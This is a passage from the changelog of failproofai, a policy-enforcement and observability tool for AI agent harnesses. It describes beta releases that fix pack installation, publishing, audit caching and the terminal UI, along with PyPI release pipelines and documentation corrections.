` wrapped across two lines — the flag on one and its placeholder on the next (#738) -- Deleted an unreachable `pack` branch in the CLI: `pack` is rewritten to `policies` above every dispatch, so the sixty-line help screen it carried — still advertising `pack list`, `pack add` and `pack build`, in a heading style nothing else used — could not be reached to notice (#738) - -## 1.0.2-beta.6 — 2026-08-26 - -### Features - -- `failproofai config` sets a machine up when there is no terminal, instead of refusing. It printed "needs an interactive terminal" and did nothing, and `installDaemonService()` had exactly one caller — the wizard — so no CI job, container or agent could reach the daemon-configured state at all. No flag: the command IS the request. Add `--token ` (or `FAILPROOFAI_CLOUD_TOKEN`) to connect to Cloud in the same run; the URL defaults to app.befailproof.ai. Exit 1 if anything asked for did not happen, including a key the server refused and a machine that could not reach root (#738) - -### Fixes - -- The audit's "already protected" split now counts policies that arrived in a PACK. It read `enabledPolicies` and nothing else — a key that predates packs and which `pack-store` never writes, since a pack records its selection in `installed.json` — so every finding read as slipping through however many policies were installed, and the number the audit leads with never moved. Measured before: identical 302 hits and 17 findings with nothing installed and with all 38 (#738) -- `policies add --cli` refuses a name that is not an agent, instead of installing and guarding nothing. `--cli claud` printed "Installed", exited 0, and applied the pack to no agent at all because the misspelling matched none (#738) -- `policies add --cli claude codex` keeps BOTH. The pack lane split on commas while the policy lane split on spaces, so a space-separated list was silently truncated to its first entry. Either spelling now works on both (#738) -- `policies add --scope project ` installs the pack instead of going looking for one called "project", and `-c ./file.mjs` is no longer read as the pack name — a flag's value could be taken as the positional whenever the flag came first (#738) -- The hook never waits forever for its payload. `readStdinPayload` is on the enforcement path — every tool call, on all eleven agent CLIs — and had no bound: its only early exit was `readableEnded`, which helps only when stdin is ALREADY closed. A parent that spawned the hook with a pipe it had not closed, or an inherited terminal, froze that tool call indefinitely with no output. A terminal now returns immediately and an open pipe gets a 10s clock, both reported rather than silent (#738) -- `failproofai config` run under sudo exits 1 instead of 0. It explained the problem and reported success, so a script carried on believing the machine was configured — `WizardAbort` had declared `running_as_sudo` since it was written and never once assigned it (#738) -- Our own pack has no short name any more: it is `failproofai policies add FailproofAI/policies`, the same shape anyone else's is typed in. `core`, `failproofai` and `official` are retired and say what to type instead rather than failing as unparseable (#738) -- `failproofai policies` and the first-run audit now say how to get policies when none are installed — setup deliberately installs none, so both surfaces used to be dead ends for a brand-new machine (#738) -- `failproofai publish` refuses a pack carrying two policies with the same name. A name is what `--policy` selects and what the picker toggles, so a duplicate made one of the pair unreachable and let the other's on/off state decide for both — reachable by accident whenever `publish --init` wrote a starter into a folder that already had a policy of that name (#738) - -## 1.0.2-beta.5 — 2026-08-25 - -### Features - -- `failproofai audit` resumes a transcript that GREW instead of re-reading it from byte zero. The cache was all-or-nothing per file, so a long-running session gaining one line was re-parsed and re-replayed in full — and the sessions that gain lines are the largest ones. Measured on a 29 MB transcript with one line appended: 14.0s to 2.4s (#738) -- `failproofai audit` no longer shells out to the `opencode` CLI once per session — it reads opencode's SQLite database directly, like every other SQLite-backed integration. Each spawn cost ~1.5s and there were three per session, which on a 30-session history was ~135s of a ~140s audit; measured 140s to 3s on the same machine, with byte-identical output (#738) -- `failproofai publish` asks where to publish instead of requiring `--repo`, defaulting to your account and the folder name — write policies in a git repo, run one command, answer one question (#738). Nothing prompts on a pipe or in CI, where flags remain the whole interface - -### Fixes - -- Stop `failproofai policies` warning about hooks in multiple scopes on a machine whose hooks are in one file — a user-scope-only CLI answered for every scope, and from `$HOME` a project path resolves to the user file (#738) -- `failproofai publish` with no arguments now publishes instead of printing its own help, which is what the help itself documents it as doing (#738) -- `failproofai publish --dry-run` works in a folder that has no git remote yet — the case a dry run exists for (#738) -- Create the pack repository empty rather than seeded, so the author's `git push` is a fast-forward instead of unrelated history — and the release tag names the commit the pack was built from (#738) -- Stop the dry run suggesting an entry file and a `--version` it had just worked out for itself (#738) -- `policies add core` no longer describes the core pack as shipped in the package, and `publish --help` no longer tells you to bundle by hand (#738) -- Publish now pushes the author's history to the repository it creates, so the branch tracks `origin` and a later bare `git push` works (#738) -- `publish --init ` writes `.mjs` rather than a file with no extension, which discovery skipped and no loader could import — so the starter file was invisible to the publish meant to pick it up (#738) -- `publish --init` no longer signs off with an entry path and a `--version` that publish works out for itself (#738) - -## 1.0.2-beta.4 — 2026-08-25 - -### Features - -- **Publishing a pack is two commands, and neither needs an argument.** `failproofai publish --init` asks what the pack is called and writes a policy that already blocks something real — the blank file was the hardest step, and a shape described in prose leaves a newcomer to hand-write their first registration and learn at publish time whether they got it right. Then `failproofai publish` works out the rest: it finds the policy file by CONTENT rather than filename (imports `failproofai`, calls `customPolicies.add`), so it finds `guards.mjs` and ignores an unrelated `policies.mjs`; reads the repository from the git remote in the FILE's directory rather than the shell's, because a policy living in another checkout is normal; creates the repository if it is missing, which was the last step that made "one command" untrue; and counts the version from what the repository has already published. Non-recursive on purpose — publishing a fixture or an example is the failure that avoids. (#738) - -- **Policies split across files publish as one pack.** One entry artifact is a real constraint — only the entry is content-addressed, so a multi-file pack could not honestly claim to be digest-pinned — but that constrains what is PUBLISHED, never how anybody writes. Splitting policies across files is normal past about three of them, and the answer used to be "go and configure a bundler" for the one mechanical step this tool already performs for its own pack. Several policy files in a directory, or one entry importing its neighbours, are now bundled into that single artifact with the same `bun build --external failproofai` that builds `failproofai/core`, and the file list is printed so what went in is visible. (#738) - -- **Versions are counted, not hashed.** A commit SHA names exactly where bytes came from and orders nothing: `a1b2c3d` against `f9e8d7c` says nothing about which came first, and nobody can say they are on the older one. The version is `--version` if given, else a tag on HEAD — somebody who tagged `v1.2.0` has SAID what the release is — else one past the highest the repository has published. Counted from the repository's own releases rather than anything local, so a fresh clone computes the right number and two people publishing from different clones cannot both mint `1.0.1`. Non-semver tags are ignored rather than parsed heroically. The dirty-file refusal moved with it and now applies only to the tagged path: a tag names a commit, so shipping edited bytes under it publishes what that commit does not contain, while a counted version names no commit and has no such problem. (#738) - -- **A pack chooses which agents it guards, and setup stopped asking.** Setup wires hooks into every supported agent, detected or not — hooks alone enforce nothing now that no policy ships, so wiring them everywhere costs a config entry and changes no behaviour until a pack arrives, while an agent installed next week is guarded from its first tool call instead of running unguarded until somebody re-runs setup. Which agents a pack guards moved to `policies add`, asked before the policy list because it is the coarser question and the one somebody can answer without reading thirty-eight descriptions. An absent `clis` means every agent and keeps meaning that when a thirteenth CLI is supported; an unrecognised agent name is KEPT rather than dropped, because dropping it would widen a pack back to every CLI — the one direction a narrowing choice must never move. (#738) - -### Fixes - -- **`publish` misread its own flags and published the wrong thing.** It found the entry file with the parser `policies add` uses, which knows that command's value-flags and not publish's — so `failproofai publish --id me/x --version 1.0.0` took `me/x` as the file and died on ENOENT. It only ever worked because every example wrote the path first. Found by writing the tests, not by using it. (#738) - -- **A tag disagreeing with the version reached the network before being refused.** Counting the version needs the repository, which moved the credential and repo lookup ahead of the tag check — so a bad `--tag` cost a request, and against a repository that did not exist yet it would have CREATED one for a publish it was about to refuse. An explicit tag is checked against an explicit version before anything reaches the network. (#738) - -- **`failproofai policies` claimed nothing was installed while listing an installed pack.** The check asked Claude Code and only Claude Code, so every machine guarded through one of the other eleven CLIs was told it had nothing — quietly while this only tinted a subtitle, and loudly once the listing began warning every policy shown was inert. Reported from a machine set up for codex. It asks every integration now. (#738) - -- **`dist-pack/` is ignored.** `publish` writes its three release assets there by default, and a publisher running the command inside their own repository should not find build output staged. (#738) - -- **Installing or removing a pack cold-rescanned the entire audit history to reproduce the answers it already had.** `engineVersion` keys every on-disk audit cache entry, and it folded in the identity of every installed pack — on the stated reasoning that packs "change what a machine would have caught". That is true of enforcement and was never true of this replay: `initReplay` registers `BUILTIN_POLICIES` and never reads the installed packs, so a pack cannot move an audit result. The key now hashes the builtin policy bodies and nothing else. Reported from a real machine where going from one pack to none re-derived 3056 transcripts to arrive back where it started — survivable when packs were rare, and not now that policies ARE packs. (#738) - -- **The audit no longer reaches for a vendored pack that cannot exist.** `initReplay` preferred the functions from a bundled `policy-pack/` copy where one was present, falling back to the compiled implementations otherwise. That branch was meaningful while the package shipped that directory; it stopped shipping it, so the branch could not fire in any published build and survived only to be misread as "the audit scores against whatever packs you have installed". It does not, and must not — an audit is a fixed yardstick, and one that changed shape with a machine's pack set could not be compared against its own history. `bundledPackDir` had no callers left and is gone. (#738) - -- **Both were checked to cost nothing rather than assumed to.** A machine with no packs already hashed as builtins-only, so its cache key does not move and its history stays warm; a machine with a pack installed rescans once and is then stable across every future pack change. The bundled policy bodies were fingerprinted before and after each edit (75,787 bytes, sha1 `15c77414caa39779`, unchanged throughout) because removing modules can shift bun's emission order and rename identifiers INSIDE the hashed function bodies — which would have rescanned every user for a change that touched no policy. (#738) - -## 1.0.2-beta.3 — 2026-08-25 - -### Fixes - -- **Unticking every policy in the pack picker installed the publisher's defaults anyway.** Reported from a real install: the picker highlights the defaults, you untick all of them, press enter, and the defaults arrive — announced as "the pack's defaults", which is the opposite of what was chosen and reads as if it had been asked for. `resolveSelection` decided whether a selection existed by testing `opts.only.length`, so an empty list — "install the pack, enable none of it" — was indistinguishable from passing no flags at all and fell through to the defaults branch. Presence of the field is the signal now, never its length. Two consequences travelled with it: `enabled: []` had to survive to disk as an array, because `[]` and `undefined` mean opposite things there (none, and all) and a reinstall would otherwise resurrect the defaults; and the zero case now says "none — the pack is installed and enforcing nothing" rather than printing a line that ends in a colon, which rendered the one outcome most needing an explanation as though something had gone missing. (#738) - -## 1.0.2-beta.2 — 2026-08-25 - -### Features - -- **Installing a pack chooses, instead of announcing what it chose.** `policies add ` took the publisher's `defaultEnabled` flags and printed the result afterwards, which turns a recommendation into a decision made on the user's behalf — by which point the policies are on their machine. A human at a terminal who names no flags now gets the pack's list first, defaults pre-ticked, grouped by category. It reads the MANIFEST only, so deciding about a stranger's pack still never downloads a stranger's code. Skipped entirely when `--policy`/`--category`/`--all` is passed or there is no TTY: a script asked a precise question and must get a precise answer, not a prompt it cannot see. (#738) - -- **Setup is one linear flow, with no fork at the front.** It opened by asking "Recommended or Customize?" — a question about the wizard rather than about the machine, unanswerable until you know the alternatives, which you learn by picking one. Recommended then took global scope, the detected CLIs and fifteen unseen policies. What is left is three questions in the order the machine needs them: the daemon (first, because it is the only step that needs a password), which harnesses, and whether to connect. Scope is not among them — it is global, always, because a project-scoped install guards the one directory the command was run from and silently leaves every other repo unguarded; `policies --install --scope project` is still there for someone who means it. The harness step is now always asked rather than inferred: Recommended used to skip it and wire failproofai into agents nobody named. (#738) - -### Fixes - -- **Every prompt keystroke redrew the screen as two writes, which is a blank frame.** The cursor-up-and-clear was its own `write()`, so a terminal could paint the CLEARED state before the new lines arrived — invisible on a local terminal, and a visible flash on every keypress over SSH or inside tmux, where the two writes cross a network or a multiplexer between frames. A repaint is now one write, wrapped in synchronized output (`DECSET 2026`) so the terminal holds the frame until the reset; terminals that do not implement it ignore an unknown private mode, so it costs nothing where it does not help. Found by running the house TUI guide's anti-pattern list rather than by looking at the output, which is exactly the kind of defect looking cannot find. (#738) - -- **A hand-wrapped warning fought the wrapper it was passed to.** The NOT-ENFORCING message was written as four pre-broken lines, and `warning` wraps each element it is given — so the author's line breaks became paragraph breaks and wrapped again inside themselves, leaving the word "them." alone on a line at 60 columns. It is prose now, and fills whatever width it is given. Verified at 40, 60 and 80. (#738) - -- **The policies listing said "not installed" directly above an installed pack.** It was reporting whether HOOKS are wired, which is a different question from whether policies exist — and it hid the state that actually matters, because a machine can hold thirty-eight policies and enforce none of them when no agent CLI is calling failproofai at all. That is the worst of the three states and it read as the emptiest. The header now says `N on · NOT ENFORCING` with a warning naming the cause. (#738) - -- **The TUI carried a character the design system forbids.** `⚠` takes EMOJI presentation on most terminals, and the brand rules are explicit that there is no emoji anywhere. It is `▲` now — one column, geometric like the `◆◇●○◼◻` already in use. The width matters as much as the look: the warning block hangs its continuation lines under a ONE-column marker, so an emoji-width glyph silently broke the very alignment it sat in. Section rules move to the brand's heavy `━━` eyebrow, with the light `─` kept for table sub-rules so the two levels read as different weights, and the `❋` dingbat becomes the actual `▮▮` brand mark. (#738) - -## 1.0.2-beta.1 — 2026-08-25 - -### Features - -- **The package stops carrying policies, and `policies add core` fetches them.** The tarball shipped `policy-pack/` — our policies as a real, digest-verified pack — so a fresh install already had them on disk and `pack add core` needed no network. That is exactly the thing this migration was meant to end: a pack shipped inside the binary is a policy set we chose for the user and wrote to their disk before they asked, and it gave OUR policies a delivery route no third-party pack could use, which is the opposite of what the lane exists to make possible. `policy-pack/` leaves `files` and `build`, `installBundledPack` is deleted, and `core` becomes a spelling of `FailproofAI/policies` — resolved in `pack-store` so the CLI and the dashboard cannot disagree about what the short name means, fetched, digest-verified and pinned like anybody else's. The build script survives, because publishing the core pack to its release still needs it. Offline now fails where it used to silently succeed, which is the honest answer: there is nothing local to install. (#738) - -- **Two things that would have been quiet breakages, checked rather than assumed.** The audit's cache key folds packs in by `id|version|sha256`, so a machine that had the vendored copy and now has the fetched one only keys identically if the bytes match — they do, `9e63e6e2…` both ways, so no existing user gets a ~104-second cold rescan on upgrade. And `registerFromVendoredPack` already returned `false` for an absent directory with the caller falling back to the compiled implementations, its own comment naming "a tarball packed without it" as an expected case — so audit scores identically with nothing vendored. The migration in `fp-reset` deliberately does NOT fetch: `resetHome` is synchronous and runs inside `failproofai update`, and an upgrade that blocks on github.com and fails when it is unreachable is a worse upgrade than one that finishes. The carried names stay in config, which is what the no-pack fallback reads, so a machine mid-upgrade keeps enforcing exactly what it enforced before. (#738) - -- **Setup no longer decides which policies you get.** The wizard's policy step is gone, and so is the larger offender behind it: the opening "Recommended" path skipped that question entirely and installed `RECOMMENDED_POLICIES`, fifteen hardcoded builtin names, on behalf of somebody who had not seen the list. failproofai ships no policies of its own any more — they arrive as packs, from inside this package or from anyone's GitHub release — so a wizard pre-ticking OUR set is a product decision taken for a user who cannot yet evaluate it, and not everyone wants what we would have chosen. Setup now wires the hooks and stops; choosing what they enforce is a separate act. Whatever the scope already had is read and carried through untouched, because `installHooks` runs with `replace: true` and passing anything less would switch off policies the user turned on — running setup twice must never reduce protection. `policy-presets.ts` is deleted. `customPoliciesEnabled` is now left alone in both modes rather than written from a checkbox that no longer exists, which also closes the leak where finishing setup disabled every convention policy on disk as a side effect. (#738) - -- **`policies`, `policy` and `pack` were three commands for one idea, two of them a single letter apart, and they are now one.** `failproofai policies add` takes either a policy name or a pack source, told apart by a SLASH — a policy name matches `/^[A-Za-z0-9._-]+$/`, so a slash is already illegal in one and unambiguous in the other, the same rule npm and docker use, and nobody has to discover a flag before they can install somebody else's policies. `policies remove` and `policies show ` complete it. `policy`, `pack` and `p` are translated to `policies` above every dispatch rather than rejected, so nothing anyone has typed before stops working — those spellings are printed in shipped help, in the docs, and in the release notes of every pack published so far. `pack list` split into the two questions it was conflating: bare `policies` for what is installed here, `policies show` for what a pack out there contains. (#738) - -- **`failproofai policies add` with nothing after it shows you the list instead of erroring.** It used to answer "Missing policy name" and tell you to go read a list elsewhere and come back — the command telling the user to do the work it exists for. The same objection applied to a bare `pack add`, which took the publisher's defaults and only afterwards printed what it had decided: a default is a suggestion, and a suggestion nobody saw is a decision taken on their behalf. There is now one screen showing every policy on the machine, grouped by pack and category, with the current state pre-ticked, built on the `multiSelect` the wizard already uses rather than a second picker. It refuses rather than guesses with no terminal to draw on: `multiSelect` degrades by returning its pre-checked set, which there would mean confirming exactly what is already true — a silent no-op reported as success. (#738) - -- **`failproofai publish` replaces four commands, two of which never published anything.** Installs read `releases/download//` and never touch the git tree, so `git init`, `git add`, `git commit` and `gh repo create` were all for humans reading the source — a publisher could only learn that by reading `pack-store.ts`. One command now validates the entry with the loader's own rules, writes the three assets, creates or reuses the release and attaches them. It goes over the GitHub REST API rather than `gh release create`, because our own `block-gh-pipeline` builtin matches that exact command — shipping a publish path our own guardrail blocks is not a thing to do. Two failures the manual flow let through silently are refused: a tag that does not describe the manifest version (which installs and then reports a version matching no URL), and a private repository (which publishes to nobody, since `pack add` sends no Authorization header at all, by design). `pack build` is now a spelling of `publish` with nowhere to publish to, and means the same thing. (#738) - -- **The top-level help was 152 lines — six screens at 80x24 — and is now 26.** Every flag of every command was inlined on the index, so the thing you read to find a command was the thing you read to use one, and the cost of that fell on the person who knew least. There is now one screen of what exists, grouped by where you are in the arc, and `failproofai help ` for everything else. `help ` dispatches to ` --help`, so there is exactly one copy of each command's documentation and the two spellings cannot drift. Three things that were documented nowhere reachable are now reachable: `failproofai update --help` and `failproofai migrate --help` both exited 1 with "Unexpected argument" because `SUBCOMMANDS` omitted them, and `--hook` — the entry point an agent CLI spawns on every tool call — appeared only in a module docblock and one error string, and now has `failproofai help hook`. (#738) - -- **The TUI palette is the brand's two accents and nothing else.** The design system defines exactly two — pink `#e4587d` and mint `#66d1b5` — and says so explicitly; `tui.ts` carried three, with selection and "enabled" painted in `#ff2e88`, a hotter pink in no brand token, alongside a near-duplicate `logoPink` one byte away from the real one. They are collapsed into a single brand pink, so the logomark and the prompts can no longer drift apart. A 256-colour tier is added between the two that existed: colour resolution jumped straight from 24-bit to basic ANSI, so every terminal that supports 256 colours but does not advertise `COLORTERM` — which is most of them over SSH — fell all the way back to sixteen. `NO_COLOR` and a non-TTY still emit zero escape sequences, and the sixteen-colour tier is unchanged and still usable on its own. (#738) - -- **A long policy name ate its own description, on exactly the screen this release adds.** The name column is capped at 24 and the description budget is sized against that cap — but `padEnd` pads, it does not truncate, so a longer name rendered at its true width against a budget measured for a shorter one. On an 80-column terminal `sanitize-connection-strings` and `sanitize-private-key-content` both landed on column 80: nothing wrapped, nothing looked broken, and the description was simply cut by the terminal instead of by `ellipsize`, losing the `…` that says it was cut. A third-party pack with a longer name would have wrapped outright. The name keeps its full width and the description gives up the space — a policy name is the thing you type next and half of one is useless, while prose shortens for free. (#738) - -- **`policies add` with no name answered a script with an exit code it could not act on.** The no-terminal refusal was checked *after* the no-packs branch, so a fresh machine running it from a pipe got the "here is where policies come from" screen at exit 0 — an interactive question answered with a success. It refuses first now, whether or not a pack happens to be installed: the empty state is an answer for a human at a terminal, not a status for a script. (#738) - -### Fixes - -- **A test of the new picker depended on a directory CI does not have.** `policies add core` reads the pack vendored in the package, which `bun run build` writes — and `test` and `build` are separate CI jobs, so `policy-pack/` does not exist when the tests run. Every other pack test generates it; the new one now does too, and pins `FAILPROOFAI_PACKAGE_ROOT` at what it generated rather than relying on a repo root that happens to be populated on a contributor's machine. (#738) - -- **The no-pack fallback told users to run a command that no longer does anything.** A machine carrying policy names with no pack installed still enforces them from the compiled implementations, and warns that it is doing so — but the warning said to run `failproofai update` "to move them into the pack that ships with it". Both halves stopped being true the day the package stopped carrying policies: nothing ships with it, and the migration deliberately does not fetch. It names `failproofai policies add core` now, which is the command that actually leaves the shim. Nothing had been asserting on that string; a test does now. (#738) - -- **A release tag was never checked against the version inside the pack, and this repo's own convention broke it.** `spec.tag` only ever built URLs and `version` only ever came from the manifest; the two were never compared, so a pack built `--version 1.0.0` and released under tag `v1.0.0` installed cleanly while recording a version that matched no URL. It bit immediately: `pack build` told publishers to tag `` while failproofai's own releases are tagged `v`, so a publisher following house style broke their own pack. A leading `v` is now accepted, because refusing a near-universal convention would be hostile; any other disagreement fails the install naming both values and which one to change. (#738) - -- **A tagless `policies add owner/repo` misresolved silently when the newest release was a prerelease.** Resolution reads the `releases/latest` redirect, which GitHub does not issue for draft or prerelease releases — so the install either landed on an older stable tag, quietly taking something the publisher had superseded, or got no redirect at all. The error now names the prerelease case explicitly, since it is the likeliest cause a publisher hits. It still deliberately avoids `api.github.com`: no second origin, no sixty-per-hour unauthenticated rate limit, and `FAILPROOFAI_PACK_BASE_URL` keeps pointing the whole thing at a mirror. (#738) - -- **The dashboard offered a policy-source filter that could never match anything.** `builtin` survived in the source dropdown after the builtins stopped being a source; nothing produces that value any longer, so selecting it emptied the list with no explanation. (#738) - -- **A doc comment in `pack-manifest.ts` described a safety condition that had stopped being true.** It said the reader's fail-open was defensible only while the builtins shipped compiled in and kept enforcing underneath, and that the day they became a fetched pack this must be revisited rather than inherited. That day arrived. The denying moved rather than disappeared — `pack-failclosed.ts` reads the same errors and refuses the events the missing policies declared — and the comment now says so, including why a throw must not be added here. (#738) - -## 1.0.2-beta.0 — 2026-08-21 - -### Features - -- **`fp-cli` is not an available name on PyPI, and the whole package is renamed to `fp-cloud-cli`.** Registering the Trusted Publisher returned "This project name is too similar to an existing project": PyPI's similarity check strips separators, so `fp-cli` collides with `fpcli` — a real package with 42 releases and uploads as recent as April 2025, which makes it neither a squat nor a PEP 541 claim worth filing. The name is simply unavailable, and this was only discoverable at registration time because the exact name `fp-cli` is itself unregistered and answers 404 on the JSON API. (`failproofai-sdk` is unaffected — the entire `failproofai*` family is free.) The distribution, the directory, the publish and skill-sync workflows, the PyPI environment, the release tag prefix, the artifact names, the CI job, the skill, and all fifteen locales of the docs move together; **the command stays `fp`**, which is the only string a user types. Three names deliberately do NOT move, each for its own reason: `fp_cli`, the import package, because nobody imports an application and renaming it would churn every module and test to change a string no user ever sees; `~/.failproofai/fpcli/`, because it is an on-disk contract with `src/hooks/fp-home.ts` and moving it would sign every existing user out; and `feat/fp-cli`, because a branch name is not ours to rewrite. (#702) - -- **Neither Python package had anywhere to publish release notes, and the SDK had no changelog at all.** `publish.yml` tags every npm release, cuts a GitHub Release and announces stable ones; the two PyPI workflows created no tag, no release and no announcement, so the only record of what changed in a published version was a file in the repo that nothing linked to — and for `failproofai-sdk`, not even that. Both now cut a GitHub Release whose body is that version's changelog section, `sdk/python/CHANGELOG.md` exists, `fp-cloud-cli`'s `## Unreleased` heading is dated to match the versioned-heading rule the root changelog already follows, and both `pyproject.toml`s declare a `Changelog` project URL — PyPI gives that its own sidebar slot, and without it a visitor to the project page gets the README and no route at all from an installed version to what changed in it. The notes are extracted and validated in `preflight`, before anything is built: a release with empty notes is not fixable afterwards, because PyPI never releases a version for reuse, so "publish it again, with notes this time" does not exist as a remedy. They travel to the release job as an artifact rather than a job output, so that job needs no checkout and runs no repository code — the same split that keeps the publishing identity away from everything. `scripts/changelog-section.py` matches the version with a trailing word boundary, so a request for `0.0.1b1` cannot be answered by `0.0.1b10`'s section: a real hazard once a beta counter passes nine, and one that would put the wrong release's notes on a tag with no error anywhere. (#702) - -- **Four separations keep those releases from being confused with the npm package's, which share one repository, one tag namespace and one release feed.** The tag is `fp-cloud-cli-vX.Y.Z` / `failproofai-sdk-vX.Y.Z`, never a bare `vX.Y.Z` — the bare form is the npm package's, and the published CLI builds its `failproofaid` binary download URLs out of exactly those tags, so a Python release landing on one would be a release the CLI tries to fetch binaries from. `--latest=false` is passed always: GitHub marks one release per repository as "Latest" and shows it on the repo home page, and while every Python version today is a pre-release — which GitHub never marks latest — that is precisely why it cannot be left implicit, since it would start being wrong the first time a stable ships, long after anyone remembers why. The release title names the package rather than repeating a bare version. And no assets are attached: the npm release carries the daemon binaries and the CLI tarball, this one carries notes and a tag, and the wheel lives on PyPI. `release_tag()` refuses any dist name that would generate a tag matching the npm grammar, so the guard survives a third package being added. (#702) - -- **The two Python packages now have the version management the npm package has had all along.** `publish.yml` resolves a version, refuses one the registry has already taken, and bumps `main` to the next development version after a successful publish; the two PyPI workflows did none of it. The version was a literal somebody had to remember to edit, with nothing checking it had moved — and a forgotten bump is not a cheap mistake on PyPI, which never releases a version for reuse: the run installs the whole dependency tree, tests, builds, verifies, smoke-tests, and only then dies at the upload, having proved nothing that editing one line would not have. The SDK's leg is the expensive one, installing five agent frameworks and their transitive trees before it gets there. Both workflows gain a `preflight` job that resolves the version, asks PyPI whether it is taken (a non-404/200 answer FAILS rather than assuming absence — PyPI is behind a CDN, and treating an unreadable answer as "not published" is a guess about the one fact the step exists to establish) and computes what follows it, and a `bump` job that pushes that to `main` once the upload has actually happened. `build` now also asserts the wheel it produced carries the version preflight cleared, which a stale `dist/` or an edit landing between the two jobs would otherwise slip past every check in the file. (#702) - -- **The release scheme is written down once, in `scripts/python-version.py`, and both pipelines call it.** `beta X.Y.ZbN → X.Y.Zb(N+1)`, `stable X.Y.Z → X.Y.(Z+1)b0` — the same rule `publish.yml` applies to npm, spelled in PEP 440 because PyPI has no dist-tags and the pre-release marker in the version string is therefore the entire channel mechanism. Two workflows hand-implementing that arithmetic is how the two packages end up on different schemes with nothing to notice, so it is one stdlib-only module (stdlib because it runs in the job that has no publishing identity precisely because it installs nothing) and 52 tests that execute it rather than read it. It refuses any spelling PyPI would normalise: `0.0.01b1`, `1.2.3-beta.1` and `v1.0.0` are all legal PEP 440 that store as something else, and every consumer in this pipeline compares version strings — the file, the wheel name, and the "is this published" query would each have been asking about a different version. It also refuses to invent a successor for an `rc`, a `.post` or a `.dev`: those publish fine, but the bump is skipped and says so, because a silently skipped bump reads exactly like a successful one until the next release collides. (#702) - -- **The bump job holds a token that bypasses the branch ruleset, so it is a job and not a step.** `publish` holds the OIDC publishing identity; `bump` authenticates as the version-bot GitHub App (the same app and the same two secrets `publish.yml` and `bump-platform-submodule.yml` already use — no new out-of-band setup); nothing needs both, and a job holding both would let any code in it do either. It installs nothing, never persists the token into `.git/config`, passes it through a header rather than the remote URL — git echoes the URL in its own error output on a failed push, where `::add-mask::` does not reach — and rebases onto `main`'s current tip rather than the SHA the run was dispatched at, so a commit landing during a release does not turn the bump into a non-fast-forward nobody retries. Guarded by `__tests__/ci/python-version-pipeline.test.ts`, which also pins the one property that makes a bump safe at all: both packages declare `dynamic = ["version"]`, which is why `uv.lock` records them with no `version =` line and `uv sync --locked` survives the bump commit. A static version in either `pyproject.toml` would make that false and turn every post-release CI run red, with nothing else looking for it. (#702) - -### Docs - -- **The SDK skill taught three things that had stopped being true, and its guard could not see prose.** `SKILL.md` described `tool_call_id` and `hook_id` as sharing one flat, process-wide correlation map — a real bug, fixed some time ago; the keys are `::` now, so they cannot collide, and the same package’s `events.md` already said so, leaving the skill contradicting itself. Both files claimed a float `duration_ms` was "dropped on the way in" and left the column empty; it raises `ValueError` at the call site. And the "Verify" section — the one an agent runs to decide whether an integration works — told the reader to `ls ~/.agenteye/events/`, which on a default install is empty, because the root moved to `~/.failproofai/custom-agents/events/`. A fresh integration would have been declared broken while every event landed correctly one directory over. Also fixed: the H1 and the frontmatter description still branded the product AgentEye, and the documented batch filename predated the pid/sequence stem. Added, because the SDK had them and the skill did not: `available()` / `active()` for answering "why is nothing recording", the `TypeError`/`ValueError` shapes for a non-string or blank identity, the comma rejection on `environment` (ingest splits on it, so a comma would discard the event), LlamaIndex’s `stale_after` / `reaper_interval`, and the framework extras — including that the extra is spelled `llamaindex` while the pinned distribution is `llama-index-core`. `test_skill_snippets.py` gains four checks on what the skill *says* rather than only whether it parses, and now dedents blocks the way `test_site_docs.py` always has, so a snippet nested in a list is testable instead of having to be hoisted out of the prose it belongs to. (#702) - -- **The integration guides read as walls of prose where the content was a comparison.** Six pages under `docs/start/integrations/` are restructured so the shape on the page matches the shape of the thing being explained. The redaction warning — the one a reader most needs to get right — became a three-row table of which events `collector.redact` touches and which it never sees, with the two levers that actually control payloads in a callout beside it. The `instrument()` ordering trap became a Wrong / Right / order-proof code group, because it is a bug you recognise by seeing it rather than by reading a paragraph about `sys.modules`. The id section became a numbered resolution order and a lookup table of what the cardinality guard does to each label shape. `custom-agents` gained the missing "what exists" view — all fifteen event methods in six families, openers against closers — before the code that calls them, and its three-seam mapping now leads the section it belongs to. LangChain’s node-naming and streaming notes were one paragraph holding two unrelated facts; they are now a table and two sections. CrewAI’s delegation nesting and LlamaIndex’s handoff turns are drawn as trees instead of described. Longest prose line across the set fell from 409 characters to under 300 on every page, and the shared heading spine `test_site_docs.py` enforces is unchanged. (#702) - -- **The SDK README documented the retired spool root in the three places a reader copies from.** The default moved to `~/.failproofai/custom-agents`, and `_resolver.py` says so in capitals, but the README's architecture diagram, its `configure()` comment and its JSONL example all still showed `~/.agenteye/events` — each contradicted by correct prose about the move two lines further down. A reader following the code rather than the paragraph tails a directory nothing writes to, sees an empty spool, and concludes the SDK is broken, which is the "an unread spool is indistinguishable from an idle one" failure the SDK exists to remove, relocated into its own documentation. The three sites are corrected, the `configure()` block additionally gains the `environment` argument its signature has always accepted and the README never listed, and `test_spool_contract.py` — which already pins this root across Python, Rust and TypeScript so the code cannot drift — now pins the README too, since it was the one copy of the contract nothing checked. (#702) - -- Reposition the project from "runtime failure resolution for coding agents" to observability and enforcement for agent harnesses, across the surfaces that render its identity. The product was never coding-only — `INTEGRATION_TYPES` holds twelve harnesses and two of them (Hermes, a Slack/Telegram gateway; OpenClaw, a self-hosted assistant) were never coding tools — but the strings a stranger reads said otherwise, and the breadth evidence sat under labels that converted it back: README's twelve-logo grid, containing both gateways, was headed "Supported agent CLIs". The README hero, `package.json`'s description and keywords, `SECURITY.md`, `types.ts`, the docs index and quickstart, `reference/harnesses`, the sessions captions, the local dashboard, and the audit share templates now name the harness and define it ostensively on first use, with coding CLIs framed as the class covered deepest rather than the category. `reference/harnesses` is promoted onto the onboarding path in all fifteen locale navs, since it is the only page that answers which kinds of agent are covered and it sat in the last tab. (#731) - -- Correct three counts that had rotted silently, and add the test that stops it recurring. README advertised "30 built-in policies" in three places; the real number is 40, and had been for some time. `__tests__/scripts/copy-counts.test.ts` now derives every count in copy — harnesses, policies, canonical events, and the harnesses on which `PreToolUse` and `Stop` blocking is verified — from `types.ts`, `builtin-policies.ts` and `enforcement-capability.ts`, and fails when prose disagrees. It also asserts that the README names no harness absent from `INTEGRATION_TYPES`, which is what makes the twelve-harness claim checkable by the engineer most likely to check it. (#731) - -- Stop the harness copy folding the Python SDK into the twelve. The twelve are TWO classes — ten coding CLIs and two chat/assistant gateways — and an SDK-instrumented agent is a separate door, not a third class of the twelve. Worse, the copy said "same events, same policies" of all three: the SDK reports events, it does not sit in the tool-call path, so it delivers observability, sessions and audits **without** 